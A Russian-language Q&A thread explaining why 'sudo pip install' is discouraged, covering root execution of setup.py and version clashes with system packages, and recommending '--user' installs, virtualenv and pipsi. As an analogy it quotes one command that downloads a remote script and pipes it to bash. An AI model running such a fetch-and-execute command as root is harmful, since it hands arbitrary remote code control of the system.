Почему НЕ стоит использовать sudo pip install? При установке пакета вы не просто размещаете его в своей файловой системе, но и выполняете скрипт setup.py. Поскольку в PyPI загрузить пакет может кто угодно, вы не можете быть уверены, что setup.py не содержит код, выполнение которого под пользователем root нежелательно/опасно/недопустимо. По уровню опасности это равносильно выполнению под суперпользователем shell-скрипта "из облака": wget -O - http://example.com/some/unsafe/script.sh | bash Как же быть? Вариант 1 Кроме случаев, когда вам крайне необходимо установить пакет из-под root-а, вы можете использовать pip install --user mypackage чтобы установить пакет в репозиторий текущего пользователя $HOME/.local/lib/pythonx.y/site-packages/. Вариант 2 Использовать изолированные окружения, например virtualenv. В этом случае у вас под рукой будет неограниченное количество рабочих окружений (например, под каждый проект, с разными версиями python), которые не будут мешать друг другу. Пакеты будут храниться в $HOME/.virtualenvs/$ENVNAME/lib/pythonx.y/site-packages/ вместе с нужной версией python и сторонними бинарниками, а переключение окружений выполняется командой workon $ENVNAME. IDE, вроде PyCharm, знают про виртуальные окружения и умеют с ними работать.

Ответ 2



Основная причина та же почему virtualenv существует: если у вас есть Питон-пакеты foo, bar, которые требуют разные версии libbaz библиотеки, то sudo pip install bar может обновить версию libbaz, сломав foo пакет, ожидающий более старую версию из системных пакетов. Гипотетический cценарий, но с реальными пакетами: допустим у вас стоял python-matplotlib Ubuntu пакет и вы обновили его до PyPI версии, используя sudo pip. На первый взгляд всё замечательно, вы успешно построили желаемый график. Через пару дней вы обнаружили, что поиск книг в calibre стал неустойчиво работать (не можете найти книгу по запросу, который раньше её находил). Потратив какое-то время на отладку проблемы, если вам повезёт, то вы сможете локализовать её к проблеме с версией pyparsing модуля, используемого как в calibre так и в matplotlib. То есть проблема с sudo pip install matplotlib -U не в том, что код с PyPI выполняется от имени root (c точки зрения безопасности, проблемы хуже, чем с sudo apt-get install python-matplotlib, но не особо для типичного разработчика -- можно даже gpg-подпись проверить для скаченного matplotlib wheel, если есть желание). Проблема в том, что sudo pip к трудно диагностируемым проблемам может вести из-за несоответствия ожидания пакетов, упакованных для apt-get и версий пакетов с PyPI. Именно поэтому, пакеты, которые должны быть особенно независимы, такие как pip, pkg_resources используют свою локальную копию: ._vendor.pyparsing. Иногда можно использовать радикальных подход и ставить каждую утилиту в своё virtualenv, к примеру, используя pipsi команду: $ pipsi install youtube-dl Это позволяет обновлять youtube-dl, не трогая пакеты, которые могут использоваться другим ПО на системе. И обратное, обновление других пакетов не сломает youtube-dl команду. Недостаток подобного подхода в том, что при исправлении дырки в безопасности в какой-нибудь зависимости, её придётся обновлять в каждом virtualenv отдельно. По сути, используя sudo pip, вы берёте на себя ответственность о том, что все установленные вами версии пакетов и их зависимости будут совместимы с пакетами, установленными системным менеджером пакетов сейчас и в будущем. Обычно это работа создателей Linux дистрибутивов, типа Ubuntu -- они стараются, чтобы версии пакетов, распространяемые в дистрибутиве, работали бы друг с другом. Устанавливая pip install --user , вы не сломаете программы, которые от другого пользователя запускаются. Ставя в virtualenv, вы изолируете систему от возможных изменений и наоборот (если --system-site-packages опция не указана при создании) изолируете пакеты внутри virtualenv от изменений в системе. Для удобства управления virtualenv, можно virtualenvwrapper поставить.

Ответ 3



Это актуально не только для pip, использование прав суперпользователя может быть черевато выполнением произвольного кода, который может навредить системе. Если не получается установить какой-то пакет без root'а, то, вероятно просто неверно выставленно разрешение на директорию с пакетами python